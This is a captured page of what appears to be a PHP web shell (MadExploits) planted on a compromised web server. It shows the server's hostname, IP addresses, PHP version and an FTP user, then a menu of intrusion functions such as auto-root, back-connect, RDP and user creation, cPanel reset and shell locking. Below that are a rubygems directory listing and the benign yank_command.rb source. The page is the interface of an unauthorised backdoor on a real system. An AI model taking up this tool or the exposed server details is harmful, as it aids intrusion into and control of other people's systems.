Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
rubygems /
rubygems /
commands /
[ HOME SHELL ]
Name
Size
Permission
Action
build_command.rb
1.48
KB
-rw-r--r--
cert_command.rb
8.31
KB
-rw-r--r--
check_command.rb
2.23
KB
-rw-r--r--
cleanup_command.rb
4.24
KB
-rw-r--r--
contents_command.rb
4.09
KB
-rw-r--r--
dependency_command.rb
5.16
KB
-rw-r--r--
environment_command.rb
4.77
KB
-rw-r--r--
fetch_command.rb
1.78
KB
-rw-r--r--
generate_index_command.rb
2.56
KB
-rw-r--r--
help_command.rb
10.15
KB
-rw-r--r--
install_command.rb
8.07
KB
-rw-r--r--
list_command.rb
940
B
-rw-r--r--
lock_command.rb
2.7
KB
-rw-r--r--
mirror_command.rb
624
B
-rw-r--r--
open_command.rb
1.79
KB
-rw-r--r--
outdated_command.rb
852
B
-rw-r--r--
owner_command.rb
2.53
KB
-rw-r--r--
pristine_command.rb
5.2
KB
-rw-r--r--
push_command.rb
2.56
KB
-rw-r--r--
query_command.rb
9.33
KB
-rw-r--r--
rdoc_command.rb
2.49
KB
-rw-r--r--
search_command.rb
885
B
-rw-r--r--
server_command.rb
2.38
KB
-rw-r--r--
setup_command.rb
17.02
KB
-rw-r--r--
signin_command.rb
872
B
-rw-r--r--
signout_command.rb
906
B
-rw-r--r--
sources_command.rb
5.21
KB
-rw-r--r--
specification_command.rb
3.31
KB
-rw-r--r--
stale_command.rb
962
B
-rw-r--r--
uninstall_command.rb
4.61
KB
-rw-r--r--
unpack_command.rb
4.84
KB
-rw-r--r--
update_command.rb
6.97
KB
-rw-r--r--
which_command.rb
2.17
KB
-rw-r--r--
yank_command.rb
2.3
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : yank_command.rb
# frozen_string_literal: true require 'rubygems/command' require 'rubygems/local_remote_options' require 'rubygems/version_option' require 'rubygems/gemcutter_utilities' class Gem::Commands::YankCommand < Gem::Command include Gem::LocalRemoteOptions include Gem::VersionOption include Gem::GemcutterUtilities def description # :nodoc: <<-EOF The yank command permanently removes a gem you pushed to a server. Once you have pushed a gem several downloads will happen automatically via the webhooks. If you accidentally pushed passwords or other sensitive data you will need to change them immediately and yank your gem. EOF end def arguments # :nodoc: "GEM name of gem" end def usage # :nodoc: "#{program_name} GEM -v VERSION [-p PLATFORM] [--key KEY_NAME] [--host HOST]" end def initialize super 'yank', 'Remove a pushed gem from the index' add_version_option("remove") add_platform_option("remove") add_option('--host HOST', 'Yank from another gemcutter-compatible host', ' (e.g. https://rubygems.org)') do |value, options| options[:host] = value end add_key_option @host = nil end def execute @host = options[:host] sign_in @host version = get_version_from_requirements(options[:version]) platform = get_platform_from_requirements(options) if version then yank_gem(version, platform) else say "A version argument is required: #{usage}" terminate_interaction end end def yank_gem(version, platform) say "Yanking gem from #{self.host}..." yank_api_request(:delete, version, platform, "api/v1/gems/yank") end private def yank_api_request(method, version, platform, api) name = get_one_gem_name response = rubygems_api_request(method, api, host) do |request| request.add_field("Authorization", api_key) data = { 'gem_name' => name, 'version' => version, } data['platform'] = platform if platform request.set_form_data data end say response.body end def get_version_from_requirements(requirements) requirements.requirements.first[1].version rescue nil end def get_platform_from_requirements(requirements) Gem.platforms[1].to_s if requirements.key? :added_platform end end
Close